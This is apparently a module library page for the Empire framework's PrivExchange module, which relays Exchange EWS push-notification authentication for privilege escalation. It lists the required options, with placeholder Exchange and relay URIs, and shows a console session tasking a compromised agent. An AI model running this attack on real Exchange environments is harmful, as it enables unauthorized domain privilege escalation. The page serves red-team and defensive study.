PrivExchange - Empire Module


This page contains detailed information about how to use the csharp/SharpSploit.PrivilegeEscalation/PrivExchange Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview


Name: PrivExchange
Module: csharp/SharpSploit.PrivilegeEscalation/PrivExchange
Source code: empire/server/modules/csharp/SharpSploit.PrivilegeEscalation.Covenant.yaml#L1
Language: C#
Needs admin: No
OPSEC safe: No
Background: No

The PrivExchange module performs the PrivExchange attack by sending a push notification to EWS.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the PrivExchange module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options


This is a list of options that are required by the PrivExchange module:

Agent
Agent to run module on.

DotNetVersion
.NET version to compile against.
Default value: Net35.
Suggested values: Net35, Net40.

EWSUri
The URI of the Exchange EWS instance to perform the relay against. For example: http(s)://<hostname>:<port>/EWS/Exchange.asmx.
Default value: https://exchange.example.local:443/EWS/Exchange.asmx.

ExchangeVersion
Microsoft Exchange version. Defaults to Exchange2010.
Default value: Exchange2010.

RelayUri
The URI of the external relay of the Exchange authentication.
Default value: https://relay.example.local:443/relay.

PrivExchange Example Usage


Here's an example of how to use the PrivExchange module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule csharp/SharpSploit.PrivilegeEscalation/PrivExchange

 Author       den_n1s                                                            
 Background   False                                                              
 Description  Performs the PrivExchange attack by sending a push notification to 
              EWS.                                                               
 Language     csharp                                                             
 Name         csharp/SharpSploit.PrivilegeEscalation/PrivExchange                
 NeedsAdmin   False                                                              
 OpsecSafe    False                                                              


,Record Options---,-------------------------------------,----------,-------------------------------------,
| Name            | Value                               | Required | Description                         |
|-----------------|-------------------------------------|----------|-------------------------------------|
| Agent           |                                     | True     | Agent to run module on.             |
|-----------------|-------------------------------------|----------|-------------------------------------|
| DotNetVersion   | Net35                               | True     | .NET version to compile against     |
|-----------------|-------------------------------------|----------|-------------------------------------|
| EWSUri          | https://exchange.example.local:443/ | True     | The URI of the Exchange EWS         |
|                 | EWS/Exchange.asmx                   |          | instance to perform the relay       |
|                 |                                     |          | against. For example: http(s)://<ho |
|                 |                                     |          | stname>:<port>/EWS/Exchange.asmx.   |
|-----------------|-------------------------------------|----------|-------------------------------------|
| ExchangeVersion | Exchange2010                        | True     | Microsoft Exchange version.         |
|                 |                                     |          | Defaults to Exchange2010.           |
|-----------------|-------------------------------------|----------|-------------------------------------|
| RelayUri        | https://relay.example.local:443/rel | True     | The URI of the external relay of    |
|                 | ay                                  |          | the Exchange authentication.        |
'-----------------'-------------------------------------'----------'-------------------------------------'

(Empire: usemodule/csharp/SharpSploit.PrivilegeEscalation/PrivExchange) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/csharp/SharpSploit.PrivilegeEscalation/PrivExchange) > set DotNetVersion Net35
[*] Set DotNetVersion to Net35
(Empire: usemodule/csharp/SharpSploit.PrivilegeEscalation/PrivExchange) > set EWSUri https://exchange.example.local:443/EWS/Exchange.asmx
[*] Set EWSUri to https://exchange.example.local:443/EWS/Exchange.asmx
(Empire: usemodule/csharp/SharpSploit.PrivilegeEscalation/PrivExchange) > set ExchangeVersion Exchange2010
[*] Set ExchangeVersion to Exchange2010
(Empire: usemodule/csharp/SharpSploit.PrivilegeEscalation/PrivExchange) > set RelayUri https://relay.example.local:443/relay
[*] Set RelayUri to https://relay.example.local:443/relay
(Empire: usemodule/csharp/SharpSploit.PrivilegeEscalation/PrivExchange) > execute
[!] Error: csharpserver plugin not running

Note: This module requires csharpserver plugin to be running on our system. If this plugin is not running, the error message "[!] Error: csharp server plugin not running" is thrown on the console. To fix the error, start the csharpserver plugin and re-run the module:

(Empire: usemodule/csharp/SharpSploit.PrivilegeEscalation/PrivExchange) > useplugin csharpserver

,Record Options--,----------,----------------------------------,
| Name   | Value | Required | Description                      |
|--------|-------|----------|----------------------------------|
| status | start | True     | Start/stop the Empire C# server. |
'--------'-------'----------'----------------------------------'

(Empire: useplugin/csharpserver) > execute
[*] Starting Empire C# server
(Empire: useplugin/csharpserver) > back
(Empire: usemodule/csharp/SharpSploit.PrivilegeEscalation/PrivExchange) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Author


  • den_n1s

References


Version


This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.